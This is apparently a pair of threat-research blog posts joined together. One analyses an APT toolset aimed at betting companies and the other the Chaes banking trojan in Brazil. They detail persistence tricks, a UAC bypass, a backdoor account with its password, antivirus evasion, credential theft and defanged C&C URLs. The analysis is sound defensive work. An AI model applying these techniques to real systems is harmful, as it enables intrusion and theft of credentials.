C&amp;C domain found in <code>smcache.dat</code>. It does not change the actual C&amp;C domain to which the request is made – this suggests the possibility of the C&amp;C server being behind a reverse proxy.Initial beaconThe first data packet the malware sends to a C&amp;C server contains a base64 encoded LZNT1-compressed buffer, including a newly generated uuid (different from the uuid used in the x-cid header), the victim’s username, OS version and architecture, computer DNS and BIOS names and the comment string found in <code>smcache.dat </code>or<code> comment.dat</code>. The value from <code>comment.dat</code> takes precedence if this file exists.&nbsp;In the core module sample we analyzed, there was actually a typo in the function that reads the value from<code> comment.dat </code>– it looks for the key<code> “COMMNET”</code> instead of <code>“COMMENT”</code>.After this, the malware enters a loop waiting for commands from the C&amp;C server in the form of the ID value of one of the call objects. Each message sent to the C&amp;C server contains a hard-coded four byte number value with the same structure as the values used as keys in the call-object map. The ID numbers associated with messages sent to C&amp;C servers that we’ve seen are:

Interesting observations about the protocols, other than the HTTP protocol:<ul><li data-list-item-id="e2c14678a1667776f3f4bd49f490c64e9">HTTPS does not use persistent request handles</li><li data-list-item-id="ecab0082326cc8b8ab3783111165c12ee">HTTPS uses HTTP <code>GET </code>request with data Base64-encoded in the cookie header to send the initial beacon</li><li data-list-item-id="edd54c44891fa0a09ee75d186cfcedf90">HTTPS, TCP and UDP use a custom “magic” header: <code>Magic-Code: hhjjdfgh</code></li></ul><h3>General observations on the core module</h3>

The core samples we observed often output debug strings via <code>OutputDebugStringA </code>and <code>OutputDebugStringW </code>or by sending them to the C&amp;C server. Examples of debug strings used by the core module are: its filepath at the beginning of execution, <code>“run code ok”</code> after self-update, <code>“In googo”</code> in the hook of <code>GetProcAddress</code>, <code>“recv bomb”</code> and <code>“sent bomb”</code> in the main C&amp;C communicating function, etc.<h4>String obfuscation</h4>We came across samples of the core module with only cleartext strings but also samples with certain strings obfuscated by XORing them with a unique (per sample) hard-coded key.&nbsp;Even within the samples that contain obfuscated strings, there are many cleartext strings present and there seems to be no logic in deciding which string will be obfuscated and which won’t. For example, most format strings are obfuscated, but important IoCs such as credentials or filenames are not.&nbsp;To illustrate this: most strings in the function that retrieves a value from the comment.dat file are obfuscated and the call to <code>GetPrivateProfileStringW </code>is dynamically resolved by the <code>GetProcAddress </code>API, but all the strings in the function that writes into the same config file are in cleartext and there is a direct call to <code>WritePrivateProfileStringW</code>.&nbsp;Overall, the core module code is quite robust and contains many failsafes and options for different scenarios (for example, the amount of possible protocols used for C&amp;C communication), however, we probably only saw samples of this malware that are still in active development as there are many functions that are not yet implemented and only serve as placeholders.<h3>Plugins</h3>In the section below, we will describe the functionality of the plugins used by the <code>Core Module (Proto8)</code> to extend its functionality.&nbsp;We are going to describe three plugins with various functionalities, such as:<ul><li data-list-item-id="e0451cb10a48a83f43a91f4827bf0485f">Achieving persistence</li><li data-list-item-id="eed5ed24a184eae1dff62bd2df15bb93e">Bypassing UAC</li><li data-list-item-id="e2cf0c74e63cc6ea4a62768e7b0cd89d2">Registering an RPC interface</li><li data-list-item-id="e9e56454b2f0fc87510d2c50f49eeb6ee">Creating a new account</li><li data-list-item-id="e16c321342c05f69c7de7a05913675167">Backdoor capabilities</li></ul><h4>Core Plugin</h4>0985D65FA981ABD57A4929D8ECD866FC72CE8C286BA9EB252CA180E280BD8755This plugin is a DLL binary loaded by the fileless core module (<code>Proto8</code>) as mentioned above. It extends the malware’s functionality by adding methods for managing additional plugins. These additional plugins&nbsp; export the function <code>"GetPlugin"</code> which the core plugin executes.This part uses the same command ID based calling convention as the core module (see above), adding three new methods:

All plugin binaries used by the core module are stored in the working directory under the name<code> kbg&lt;tick_count&gt;.dat</code>. After the <code>Core Plugin</code> is loaded, it first removes all plugins from the working directory – see the image below.

<h4>Zload(Atomx.dll,xps1.dll)</h4>2ABC43865E49F8835844D30372697FDA55992E5A6A13808CFEED1C37BA8F7876The DLL we call <code>Zload </code>is an example of a plugin loaded by the <code>Core Plugin</code>. It exports four functions: <code>“GetPlugin”</code>, <code>“Install”</code>, <code>“core_zload”</code> and <code>”zload”</code>. The main functionality of this plugin is setting up persistence, creating a backdoor user account, and concealing itself on the infected system. We will focus on the exported functions <code>zload</code>, <code>core_zload</code> and the default <code>DllMain </code>function, as they contain the most interesting functionality.<h5>Zload (process starter)</h5>This function is fairly simple, its main objective is to execute another binary. It first retrieves the path to the directory where the <code>Zload </code>plugin binary is located <code>(&lt;root_folder&gt;)</code> and creates a new subfolder called<code> "mec" </code>in it. After this it renames and moves three files into it:<ul><li data-list-item-id="e2f8cdd18b09b15951f518c25c04d0c58">the <code>Zload </code>plugin binary itself as<code> &lt;root_folder&gt;\mec\logexts.dll</code>,</li><li data-list-item-id="e8a8b42d2c981da0149424bdf6b9bf788"><code>&lt;root_folder&gt;\spdlogd.exe</code> as <code>&lt;root_folder&gt;\mec\spdagent.exe</code> and</li><li data-list-item-id="e4c4409f249b8923f75ca02b792bd19a3"><code>&lt;root_folder&gt;\kb.ini</code> as<code> &lt;root_folder&gt;\mec\kb.ini</code></li></ul>After the files are renamed and moved, it creates a new process by executing the binary <code>&lt;root_folder&gt;\mec\spdagent.exe</code> (originally <code>&lt;root_folder&gt;\spdlogd.exe</code>).<h5>core_zload (persistence setup)</h5>This function is responsible for persistence which it achieves by registering itself into the list of security support providers (SSPs). Windows SSP DLLs are loaded into the <code>Local Security Authority (LSA)</code> process when the system boots. The code of this function is notably similar to the <code>mimikat_ssp/AddSecurityPackage_RawRPC</code> <a href="https://github.com/jas502n/mimikat_ssp/blob/master/AddSecurityPackage_RawRPC.cpp">source code found on github</a>.<h5>DllMain (sideloading, setup)</h5>The default DllMain function leverages several persistence and evasion techniques. It also allows the attacker to create a backdoor account on the infected system and lower the overall system security.<h5>Persistence</h5>The plugin first checks if its DLL was loaded either by the processes <code>“lsass.exe”</code> or<code> “spdagent.exe”</code>. If the DLL was loaded by <code>“spdagent.exe”</code>, it will adjust the token privileges of the current process.If it was loaded by <code>“lsass.exe”</code>, it will retrieve the path <code>“kb&lt;num&gt;.dll”</code> from the configuration file <code>“kb.ini”</code> and write it under the registry key <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\WinSock2\\Parameters</code> <code>AutodialDLL</code>. This ensures persistence, as it causes the DLL <code>“kb&lt;num&gt;.dll”</code> to be loaded each time the Winsock 2 library (<code>ws2_32.dll</code>) is invoked.<h5>Evasion</h5>To avoid detection, the plugin first checks the list of running processes for <code>“avp.exe”</code> (Kaspersky Antivirus) or <code>“NortonSecurity.exe”</code> and exits if either of them is found. If these processes are not found on the system, it goes on to conceal itself by changing its own process name to <code>“explorer.exe”</code>.The plugin also has the capability to bypass the UAC mechanisms and to elevate its process privileges through <code>CMSTP COM</code> interfaces, such as <code>CMSTPLUA {3E5FC7F9-9A51-4367-9063-A120244FBEC7}</code>.<h5>Backdoor user account creation</h5>Next, the plugin carries out registry manipulation (details can be found in the appendix), that lowers the system’s protection by:<ul><li data-list-item-id="ef328ae4fb5ae63758f49d787e18b1c51">Allowing local accounts to have full admin rights when they are authenticating via network logon</li><li data-list-item-id="e4fb35498d896510150ab3e69f77a3238">Enabling RDP connections to the machine without the user password</li><li data-list-item-id="e42ad0214d78e736cea0a62b2896826d5">Disabling admin approval on an administrator account, which means that all applications run with full administrative privileges</li><li data-list-item-id="e4de60df007fb064cb97bd9a6df69669d">Enabling anonymous SID to be part of the everyone group in Windows</li><li data-list-item-id="e4e68adfb5d01572c994fec30a7d2d2bb">Allowing <code>“Null Session”</code> users to list users and groups in the domain</li><li data-list-item-id="e9f7ccc77168a7107378d883044c2fe09">Allowing <code>“Null Session”</code> users to access shared folders</li><li data-list-item-id="e4cbbb37529f2345730dcadb89a55e2f1">Setting the name of the pipe that will be accessible to “Null Session” users</li></ul>After this step, the plugin changes the <code>WebClient </code>service startup type to <code>“Automatic”</code>. It creates a new user with the name <code>“DefaultAccount”</code> and the password <code>“Admin@1999!”</code> which is then added to the <code>“Administrator”</code> and <code>“Remote Desktop Users”</code> groups. It also hides the new account on the logon screen.As the last step, the plugin checks the list of running processes for process names <code>“360tray.exe”</code> and <code>“360sd.exe”</code> and executes the file <code>"spdlogd.exe"</code> if neither of them is found.<h4>MecGame(kb%num%.dll)</h4>4C73A62A9F19EEBB4FEFF4FDB88E4682EF852E37FFF957C9E1CFF27C5E5D47ADMecGame is another example of a plugin that can be loaded by the <code>Core Plugin</code>. Its main purpose is similar to the previously described <code>Zload</code> plugin – it executes the binary <code>“spdlogd.exe”</code> and achieves persistence by registering an RPC interface with <code>UUID {1052E375-2CE2-458E-AA80-F3B7D6EA23AF}</code>. This RPC interface represents a function that decodes and executes a base64 encoded shellcode.The <code>MecGame </code>plugin has several methods for executing spdlogd.exe depending on the level of available privileges. It also creates a lockfile with the name <code>MSSYS.lck</code> or <code>&lt;UserName&gt;-XPS.lck</code> depending on the name of the process that loaded it, and deletes the files <code>atomxd.dll </code>and<code> logexts.dll</code>.It can be installed as a service with the service name <code>“inteloem”</code> or can be loaded by any executable that connects to the internet via the <code>Winsock2</code> library.<h4>MulCom</h4>ABA89668C6E9681671A95B3D7A08AAE2A067DEED2D835BA6F6FD18556C88A5F2This DLL is a backdoor module which exports four functions: <code>“OperateRoutineW”</code>, <code>“StartRoutineW”</code>, <code>“StopRoutineW”</code> and <code>”WorkRoutineW”</code>; the main malicious function being <code>“StartRoutineW”</code>.For proper execution, the backdoor needs configuration data accessed through a shared object with the file mapping name either <code>“Global\\4ED8FD41-2D1B-4CC3-B874-02F0C60FF9CB”</code> or <code>"Local\\4ED8FD41-2D1B-4CC3-B874-02F0C60FF9CB”</code>. Unfortunately we didn’t come across the configuration data, so we are missing some information such as the C&amp;C server domains this module uses.There are 15 commands supported by this backdoor (although some of them are not implemented) referred to by the following numerical identifiers:

<h5>Communication protocol</h5>The <code>MulCom </code>backdoor is capable of communicating via HTTP and TCP protocols. The data it exchanges with the C&amp;C servers is encrypted and compressed by the RC4 and aPack algorithms respectively, using the RC4 key loaded from the configuration data object.It is also capable of proxy server authentication using schemes such as Basic, NTLM, Negotiate or to authenticate via either the SOCKS4 and SOCKS5 protocols.After successful authentication with a proxy server, the backdoor sends data xorred by the constant <code>0xBC</code>. This data is a set with the following structure:

Another interesting capability of this backdoor is the usage of layered C&amp;C servers. If this option is enabled in the configuration object (it is not the default option), the first request goes to the first layer C&amp;C server, which returns the IP address of the second layer. Any subsequent communication goes to the second layer directly.As previously stated, we found several code similarities between the <code>MulCom </code>DLL and the <code>FFRat </code>(a.k.a. <code>FormerFirstRAT</code>).ConclusionWe have described a robust and modular toolset used most likely by a Chinese speaking APT group targeting gambling-related companies in South East Asia. As we mentioned in this blogpost, there are notable code similarities between <code>FFRat </code>samples and the <code>MulCom </code>backdoor. <code>FFRat </code>or <code>"FormerFirstRAT''</code> has been publicly associated with the<code> DragonOK group</code> according to the Palo Alto Network report, which has in turn been associated with backdoors like <code>PoisonIvy</code> and <code>PlugX </code>– tools commonly used by Chinese speaking attackers.We also described two different infection vectors, one of which weaponized a vulnerable WPS Office updater. We rate the threat this infection vector represents as very high, as WPS Office claims to have <a href="https://www.wps.com/about-us/">1.2 billion installations worldwide</a>, and this vulnerability potentially allows a simple way to execute arbitrary code on any of these devices. We have contacted WPS Office about the vulnerability we discovered and it has since been fixed.Our research points to some unanswered questions, such as reliable attribution and the attackers’ motivation.<h2>Appendix</h2><h3>List of processes:</h3><ul><li data-list-item-id="ea9c97552248a3b986509de138cc5f78a"><code>360sd.exe</code></li><li data-list-item-id="e727937c26b01445317965a5025de15cd"><code>360rp.exe</code></li><li data-list-item-id="e8c6ab30c3fa8d15ffc1cf9d57b6a9150"><code>360Tray.exe</code></li><li data-list-item-id="e06accb1bbd4a3b0063770b2d0df24dfd"><code>360Safe.exe</code></li><li data-list-item-id="ea085d54c3f76cd11d105b1453374727b"><code>360rps.exe</code></li><li data-list-item-id="ed36b429e72d571694d1b72192532492f"><code>ZhuDongFangYu.exe</code></li><li data-list-item-id="ed7b01e271feb93e7df787044d3ae39fa"><code>kxetray.exe</code></li><li data-list-item-id="ee3e9b7136bbaf13a7563bd0d16c3a38e"><code>kxescore.exe</code></li><li data-list-item-id="e6ae90c1ac9d5025dd50785a0b285aec6"><code>KSafeTray.exe</code></li><li data-list-item-id="e8c39d208469af4106ecfcb31dacd7147"><code>KSafe.exe</code></li><li data-list-item-id="e2ea4a70d02e8ff733b7713bc0bbcf3f7"><code>audiodg.exe</code></li><li data-list-item-id="e2459fba6eaab0fe10b28d7b9f19d92e9"><code>iexplore.exe</code></li><li data-list-item-id="eea96af7992811d1789a5b815fb265065"><code>MicrosoftEdge.exe</code></li><li data-list-item-id="e0d1f27d3ecbe8bba5ec4f2da58439ad8"><code>MicrosoftEdgeCP.exe</code></li><li data-list-item-id="e81928e0ac7b69d7a65df518859e338e3"><code>chrome.exe</code></li></ul><h3>Registry values changed by the Zload plugin:</h3>

<h3>Core module working directory (WD)</h3>Default hard-coded WD names (created either in<code> C:\ProgramData\</code> or in <code>%TEMP%</code>):<ul><li data-list-item-id="e9a7796c2a60276555e1a6ea90e411b85"><code>spptools</code></li><li data-list-item-id="e2b09ec8f4cb330d457b14297fa667e4a"><code>NewGame</code></li><li data-list-item-id="e4e06835a4557951f8b23e7912fabcedc"><code>TspSoft</code></li><li data-list-item-id="efc083a48d4b35304d22b8fb88a8e997d"><code>InstallAtomx</code></li></ul>File used to test permissions: <code>game_&lt;tick_count&gt;.log</code> – the WD path is written into it and then the file is deleted.Hard-coded security descriptor used for WD access: <code>“D:(A;;GA;;;WD)(A;OICIIO;GA;;;WD)”</code>.&nbsp;Lockfile name format: <code>“&lt;working_dir&gt;\&lt;victim_username&gt;-&lt;comment_string&gt;.log”</code>Core module mutexes:<code>Global\sysmon-windows-%x</code> (%x is a CRC32 of an MD5 hash of the victim’s username)<code>Global\IntelGameSpeed-%x</code> (%x is a CRC32 of an MD5 hash of the victim’s username<code>Global\TencentSecuriryAgent-P01-%s </code>(%s is the victim’s username)<h2>Indicators of Compromise (IoC)</h2><ul><li data-list-item-id="e145682f5d3d9e2cf8f02a3151aae1249">&nbsp;Repository: <a href="https://github.com/avast/ioc/tree/master/OperationDragonCastling">https://github.com/avast/ioc/tree/master/OperationDragonCastling</a></li><li data-list-item-id="e6ccc57a766e32a224f0f583e892dec5f">&nbsp;List of SHA-256:&nbsp;<a href="https://github.com/avast/ioc/blob/master/OperationDragonCastling/samples.sha256">https://github.com/avast/ioc/blob/master/OperationDragonCastling/samples.sha256</a></li></ul>

APT Targets Betting Firms Clandestinely

Operation Dragon Castling: APT group targeting betting companies

 Threat Research and Malware Analysis

<h2>Introduction</h2>Chaes is a banking trojan that operates solely in <code>Brazil</code> and was first <a href="https://www.cybereason.com/hubfs/dam/collateral/reports/11-2020-Chaes-e-commerce-malware-research.pdf">reported</a> in <code>November 2020</code> by Cybereason. In <code>Q4 2021</code>, Avast observed an increase in Chaes’ activities, with infection attempts detected from more than <code>66,605</code> of our <code>Brazilian</code> customers. In our investigation, we found the malware is distributed through many compromised websites, including highly credible sites. Overall, Avast has found Chaes’ artifacts in <code>800+</code> websites. More than <code>700</code> of them contain Brazilian TLDs. All compromised websites are <code>WordPress</code> sites, which leads us to speculate that the attack vector could be exploitation of vulnerabilities in <code>WordPress CMS</code>. However, we are unable to perform forensics to confirm this theory. We immediately shared our findings with the <code>Brazilian CERT</code> (BR Cert) with the hope of preventing Chaes from spreading. By the time of this publication, Chaes’ artifacts still remain on some of the websites we observed.Chaes is characterized by the multiple-stage delivery that utilizes scripting frameworks such as <code>JScript</code>, <code>Python</code>, and <code>NodeJS</code>, binaries written in <code>Delphi</code>, and malicious <code>Google Chrome extensions</code>. The ultimate goal of Chaes is to steal credentials stored in Chrome and intercept logins of popular banking websites in <code>Brazil</code>.In this posting, we present the results of our analysis of the Chaes samples we found in <code>Q4 2021</code>. Future updates on the latest campaign will be shared via <a href="https://twitter.com/AvastThreatLabs">Twitter</a> or a later post.<h2>Infection Scheme</h2>When someone reaches a website compromised by Chaes, they are presented with the below pop-up asking users to install the <code>Java Runtime</code> application:

If the user follows the instructions, they will download a malicious installer that poses as a legitimate <code>Java Installer</code>. As shown below, the fake installer closely imitates the legitimate <code>Brazilian Portuguese Java installer</code> in terms of appearance and behavior.

Once the installation begins, the user’s system is compromised. After a few minutes, all web credentials, history, user profiles stored by Chrome will be sent to attackers. Users may experience Google Chrome getting closed and restarted automatically. This indicates any future interactions with the following Brazilian banking websites will be monitored and intercepted:<ul><li data-list-item-id="e7e4144e907189483ac35bb9849acf5d4"><code>mercadobitcoin.com.br</code></li><li data-list-item-id="eec45bfa33db00c3b779351eca9acf331"><code>mercadopago.com.[ar|br]</code></li><li data-list-item-id="e38e796815f848e2da82f1a82125de531"><code>mercadolivre.com.br</code></li><li data-list-item-id="e13798067d66df8e8d3babc6cc8dd06e6"><code>lojaintegrada.com.br</code></li></ul><h2>Technical Analysis</h2><h3>Infected websites</h3>Upon inspecting the HTML code of the compromised websites, we found the malicious script inserted as shown below:

In this case, the <code>V=28 </code>likely represents the version number. We also found a URL with other versions as well:<ul><li data-list-item-id="ec21a716974245aa4b21c5c2e90425a47"><code>https://is[.]gd/EnjN1x?V=31</code></li><li data-list-item-id="e2d43f77259bcdc8f373021ea4ff88398"><code>https://is[.]gd/oYk9ielu?D=30</code></li><li data-list-item-id="eb0cb07b484226c01adbe04d78f018eda"><code>https://is[.]gd/Lg5g13?V=29</code></li><li data-list-item-id="ed98a73dea180f578901d35ff07839831"><code>https://is[.]gd/WRxGba?V=27</code></li><li data-list-item-id="e1ea5828cc73eff6c9aabb617bb9af6f8"><code>https://is[.]gd/3d5eWS?V=26</code></li></ul>The script creates an HTML element that stays on top of the page with “Java Runtime Download” lure. This element references an image from a suspicious URL<ul><li data-list-item-id="e6b81fe00b46fd56a87a349f3a21ac6ab"><code>https://sys-dmt[.]net/index.php?D\</code></li><li data-list-item-id="e1fceaa212bb2647f5b51350ecfc949c1"><code>https://dmt-sys[.]net/</code></li></ul>and an on-click download of a <code>Microsoft Installer</code> from<ul><li data-list-item-id="e701f0ef9ea915fbc9653f40966978671"><code>https://bkwot3kuf[.]com/wL38HvYBiOl/index.php?get</code> or</li><li data-list-item-id="e2095f59892128dc7aa5757358d303682"><code>https://f84f305c[.]com/aL39HvYB4/index.php?get</code> or</li><li data-list-item-id="e5c2c9437fa680e810daf3f99a43ffe2b"><code>https://dragaobrasileiro[.]com.br/wp-content/themes/getCorsFile.php</code></li></ul><h3>Microsoft Installer</h3>The flowchart below shows the infection chain following the malicious installer execution.

The installer contains 3 malicious JS files <code>install.js</code>, <code>sched.js</code>, and <code>sucesso.js</code> renamed to <code>Binary._ </code>as shown above. Each of them handles a different task, but all are capable of reporting the progress to the specified <code>CnC</code>:

<h4>install.js</h4>The purpose of this script is to download and execute a setup script called <code>runScript </code>that will prepare the proper <code>Python</code> environment for the next stage loader. After making an HTTP request to a hardcoded domain, the obfuscated <code>runScript </code>is downloaded and then executed to perform the following tasks:<ul><li data-list-item-id="e299752a7a48b1d373c4aa5ece07d494d">Check for Internet connection (using <code>google.com</code>)</li><li data-list-item-id="e3e92baf25c7c38d3a088df6a3db63a14">Create<code> %APPDATA%\\&lt;pseudo-random folder name&gt;\\extensions</code> folder</li><li data-list-item-id="e820b5e130251ab951ed75be565ddf28e">Download password-protected archives such as <code>python32.rar/python64.rar</code> and <code>unrar.exe</code> to that extensions folder</li><li data-list-item-id="e4335ac0bd93200eb16e96ddaaf7d6cc2">Write the path of the newly created extensions folder to <code>HKEY_CURRENT_USER\\Software\\Python\\Config\\Path</code></li><li data-list-item-id="e099694e2303369e5151b85fbe14f615b">Performs some basic system profiling</li><li data-list-item-id="e5df318770cb429443a2b3cc7f66a5852">Execute <code>unrar.exe</code> command with the password specified as an argument to unpack <code>python32.rar/python64.rar</code></li><li data-list-item-id="e3ab9a981a1d21dc9e3deb295c3759442">Connect to <code>C2</code> and download 32bit and 64bit&nbsp;<code>__init__.py</code> scripts along with 2 encrypted payloads. Each payload has a pseudo-random name.</li></ul>

<h4>sched.js</h4>The purpose of this script is to set up persistence and guarantee the execution of <code>__init__.py</code> downloaded by <code>runScript </code>from the previous step. <code>Sched.js</code> accomplishes this by creating a <code>Scheduled Task</code> as its primary means and creating a&nbsp; <code>Startup link</code> as its backup means. Ultimately, they are both able to maintain the after-reboot execution of the following command:&nbsp;<code>...\\&lt;python32|python64&gt;\\pythonw.exe __init__.py /m</code>

<h4>sucesso.js</h4>This script reports to <code>CnC</code> that the initial installation on the victim’s computer has succeeded and is ready for the next stage<h3>Python Loader Chain</h3>The <code>Scheduled Task</code> created by <code>sched.js </code>eventually starts&nbsp;<code> __init__.py</code> which initiates the <code>Python</code> in-memory loading chain. The loading chain involves many layers of Python scripts, JS scripts, shellcode, Delphi DLLs, and .NET PE which we will break down in this section. Impressively, the final payload is executed within <code>__init__.py</code> process (<code>PID 2416</code> and <code>4160</code>) as shown below:

The <code>__init__.py&nbsp;</code> xor decrypts and decompresses the pseudo-random filename downloaded by <code>runScript.js</code> into another Python script. The new Python script contains 2 embedded payloads: <code>image</code> and <code>shellcode</code> in encrypted form. <code>Image</code> represents the Chaes loader module called <code>chaes_vy.dll</code> while <code>shellcode</code> is an in-memory PE loader. We found this particular loader shellcode reappearing many times in the later stages of Chaes. Running the shellcode using <code>CreateThread</code> API with proper parameters pointing to <code>chaes_vy.dll</code>, the Python script eventually loads <code>chaes_vy.dll</code> into memory:

<h4>Chaes_vy.dll</h4>Chaes_vy is a <code>Delphi</code> module that loads an embedded <code>.NET executable</code> that in turn runs 2 <code>JavaScripts</code>: <code>script.js</code> and <code>engine.js</code>. These two scripts hold the core functionalities of the Chaes_vy module.<h4>script.js</h4>This script acts as the interface between .NET framework and JScript framework, providing the necessary utilities to execute any scripts and modules that <code>engine.js </code>downloads in the future. By default, <code>script.js </code>will try to retrieve the paths to payloads specified in the argument of <code>__init__.py</code>. If nothing is found it will execute <code>engine.js</code><h4>engine.js</h4>This script employs 2 methods of retrieving a JS payload: <code>getBSCode()</code> and <code>getDWCode()</code> both are called every 6 minutes.<code>GetBSCode</code> is the primary method, also the only one we are able to observe serving payload. The encrypted payload is hidden as commented-out code inside the HTML page of a Blogspot which is shown below. Without being infected by Chaes, this site is completely harmless.

On the other hand, when executed, <code>engine.js</code> will parse the string starting from&nbsp; &lt;div id=\”rss-feed\”&gt; which is the marker of the encrypted payload:

After decrypting this text using <code>AES</code> with a hardcoded key, <code>instructions.js </code>is retrieved and executed. This script is in charge of downloading and executing Chaes’ malicious Chrome “extensions”. More info about <code>instructions.js</code> is provided in the next section.<code>getDWCode</code> is the secondary method of retrieving <code>instruction.js</code>. It employs a <code>DGA</code> approach to find an active domain weekly when <code>getBSCode</code> fails. Since we are not able to observe this method being used successfully in the wild, we have no analysis to present here. However, you can check out the full algorithm posted on our <a href="https://github.com/avast/ioc/tree/master/Chaes/extras/DGA.js">Github</a>.<h4>Instructions.js</h4><code>Instructions.js</code> is the last stage of the delivery chain. Nothing up to this point has gained the attacker any true benefits. It is the job of <code>instructions.js</code> to download and install all the malicious extensions that will take advantage of the Chrome browser and harm the infected users. The address of all payloads are hardcoded as shown below:

The extensions are separated into password-protected archives vs encrypted binaries. The non-compressed payloads are PE files that can be run independently while compressed ones add necessary NodeJS packages for the extension to run. Below is the example of <code>chremows63_64</code> archive contents:

All the binaries with <code>dll_filename</code> argument such as <code>chromeows2.bin</code> are encrypted, including the ones inside the RAR archive. The decryption algorithm is located inside <code>script.js</code> as we mentioned in the previous section. To decrypt and run each binary, Chaes needs to call <code>__init__.py</code> with the file path specified as an argument.The extension installation can be simplified into the following steps:<ul><li data-list-item-id="e3d47568790546b5f9dc35a7550a9d5eb">An HTTP Request (<code>aws/isChremoReset.php</code>)&nbsp; is sent to check if Google Chrome from a particular <code>uid</code> has been hooked. If not, Chrome and NodeJS will be closed. More information about <code>uid</code> in the “Online” section below.</li><li data-list-item-id="e3ef69c1e32a69725ed47b1af07937446">The download request is constructed based on 3 scenarios: 32bit, 64bit, and no Google Chrome found. Each scenario will contain suitable versions of the extensions and their download links.</li><li data-list-item-id="ee8d84615cc68a6d780d5657b4612ecbd">The extension is downloaded. The compressed payload will be unpacked properly.</li><li data-list-item-id="e741bc7089399b1dc164c3724b5594dfa">A <code>hosts</code> file is created for the newly downloaded module. Inside the file is the CnC randomly picked from the following pool:</li></ul>

<ul><li data-list-item-id="ea765fa6a31f400425ebd06bf5ca9093a">Launch each extension through <code>python.exe __init__.py</code> with proper arguments as shown below</li></ul>

<h3>Extensions</h3><h4>Online</h4><code>online.dll</code> is a short-lived <code>Delphi</code> module that is executed by <code>instruction.js</code> before other modules are deployed. Its main purpose is to fingerprint the victim by generating a <code>uid</code> which is a concatenation of drive <code>C: VolumeSerialNumber</code>, <code>UserName</code>, and <code>Computername</code>. The <code>uid</code> is written to a register key <code>SOFTWARE\\Python\\Config\uid </code>before being included inside the beaconing message.

This registry key is also where <code>instruction.js</code> previously gets the <code>uid</code> asking CnC if the victim’s Chrome has been hooked. The first time <code>instruction.js</code> gets launched this registry has not been created yet, therefore the Chrome process is always killed.<code>Online.dll</code> retrieves the CnC server specified in the <code>hosts</code> file and performs the beaconing request <code>/aws/newClient.php</code>, sending the victim’s <code>uid</code> and basic system information.<h4>Mtps4 (MultiTela Pascal)</h4>Module <code>mtps4</code> is a backdoor written in <code>Delphi</code>. Its main purpose is to connect to <code>CnC</code> and wait for a responding <code>PascalScript</code> to execute. Similar to the previous module, CnC is retrieved from the <code>hosts</code> file. <code>Mtps4</code> sends a <code>POST</code> request to the server with a hardcoded <code>User-Agent</code> containing <code>uid</code> and command type. It currently supports 2 commands: <code>start</code> and <code>reset</code>. If the <code>reset</code> command is responded with ‘<code>(* SCRIPT OK *)</code>’, it will terminate the process.<code>Start</code> command is a bit more interesting.

As a reply to this command, it expects to receive a <code>PascalScript</code> code containing a comment ‘<code>(* SCRIPT OK *</code>)’.

<code>mtps4</code> is compiled with <a href="https://github.com/remobjects/pascalscript">https://github.com/remobjects/pascalscript</a> to support PascalScript. Before running, the script they create a window that copies the screen and covers the entire desktop to avoid raising suspicion when performing malicious tasks on the system.

Unfortunately during the investigation, we couldn’t get hold of the actual script from the CnC.<h4>Chrolog (ChromeLog)</h4><code>Chrolog </code>is a Google Chrome Password Stealer written in Delphi. Although it is listed as an extension, <code>Chrolog</code> is an independent tool that extracts user personal data out of the Chrome database and exfiltrates them through HTTP. The CnC server is also retrieved from the <code>hosts</code> file previously created by <code>instruction.js</code>.

<h4>Chronodx (Chrome Noder)</h4>

The <code>chronodx</code> extension package can be separated into 2 parts: a loader called <code>Chronod2.dll</code> and a JavaScript banking trojan called <code>index_chronodx2.js</code>. First, <code>Chronod2.dll</code> performs an HTTP request /dsa/chronod/index_chronodx2.js to retrieve <code>index_chronodx2.js</code>. If successful, <code>Chronod2.dll</code> will run silently in the background until it detects the Chrome browser opened by the user. When that happens, it will close the browser and reopen its own instance of Chrome along with <code>index_chronodx2.js</code> being run from the <code>node.exe</code> process.

<code>Index_chronodx2.js</code> utilizes <a href="https://github.com/puppeteer/puppeteer#readme">puppeteer-core</a>, a NodeJS framework that provides APIs to control Chrome browser, for malicious purposes. <code>Index_chronodx2.js</code> implements many features to intercept popular banking websites in Brazil including<ul><li data-list-item-id="edaaa2c21a942682070a0847e268e1666"><code>bancobrasil.com.br/aapf</code></li><li data-list-item-id="e51f6fe62361ef515c9f5b58ab7841817"><code>bancodobrasil.com.br/aapf</code></li><li data-list-item-id="ee2112672e62e735570b0cd06bb72b8e1"><code>bb.com.br/aapf</code></li><li data-list-item-id="eddee9c9b1e6952e3ee616ea2d106d2b4"><code>mercadopago.com/…/card_tokens/</code></li><li data-list-item-id="ea7d71dc01d1472d9c9cc2b27020e3274"><code>mercadopago.com/enter-pass/</code></li><li data-list-item-id="ea7411c5cae2334e243e7467c55327bb1"><code>mercadolivre.com/enter-pass/</code></li><li data-list-item-id="e46f3349d944757534eaba63fe38a3e55"><code>lojaintegrada.com.br/public/login/</code></li><li data-list-item-id="e77e0b301cf94fe1b55d1237512731d4d"><code>mercadobitcoin.com.br</code></li></ul>Upon visiting any of the above websites, index_chronodx2.js will start collecting the victim’s banking info and send it to the attacker through a set of HTTP commands. The CnC server is stored in the <code>hosts</code> file, but when it is not found in the system, a hardcoded backup CnC will be used instead:

<h4>Chremows (Chrome WebSocket)</h4><code>Chremows</code> is another extension that uses NodeJS and <a href="https://github.com/puppeteer/puppeteer#readme">puppeteer-core</a>, and is similar to the functionality of node.js mentioned in the Cybereason <a href="https://www.cybereason.com/hubfs/dam/collateral/reports/11-2020-Chaes-e-commerce-malware-research.pdf">2020 report</a>. <code>Chremows</code> targets two platforms Mercado Livre (mercadolivre.com.br) and Mercado Pago (mercadopago.com.br) both belong to an online marketplace company called Mercado Libre, Inc.

Sharing the same structure of chronodx module, <code>chremows</code> contains a loader, <code>CreateChrome64.dll</code> that downloads a JavaScript-based banking trojan called <code>index.js</code>. <code>CreateChrome64.dll</code> will automatically update <code>index.js</code> when a newer version is found. Unlike chronodx, <code>chremows</code> executes <code>index.js</code> immediately after download and doesn’t require Google Chrome to be opened. In a separate thread, <code>CreateChrome64.dll</code> loads an embedded module ModHooksCreateWindow64.dll that Cybereason has analyzed in their <a href="https://www.cybereason.com/hubfs/dam/collateral/reports/11-2020-Chaes-e-commerce-malware-research.pdf">2020 report</a>. Overall, this module help increase the capabilities that <code>chremows</code> has on Google Chrome, allowing the attacker to perform “active” tasks such as sending keypresses/mouse clicks to Chrome, or opening designated pages. Finally, <code>CreateChrome64.dll</code> copies Chrome’s Local State file to the same location of <code>index.js</code> with the name local.json. <code>Index.js</code> uses local.json to help the attacker identify the victim.

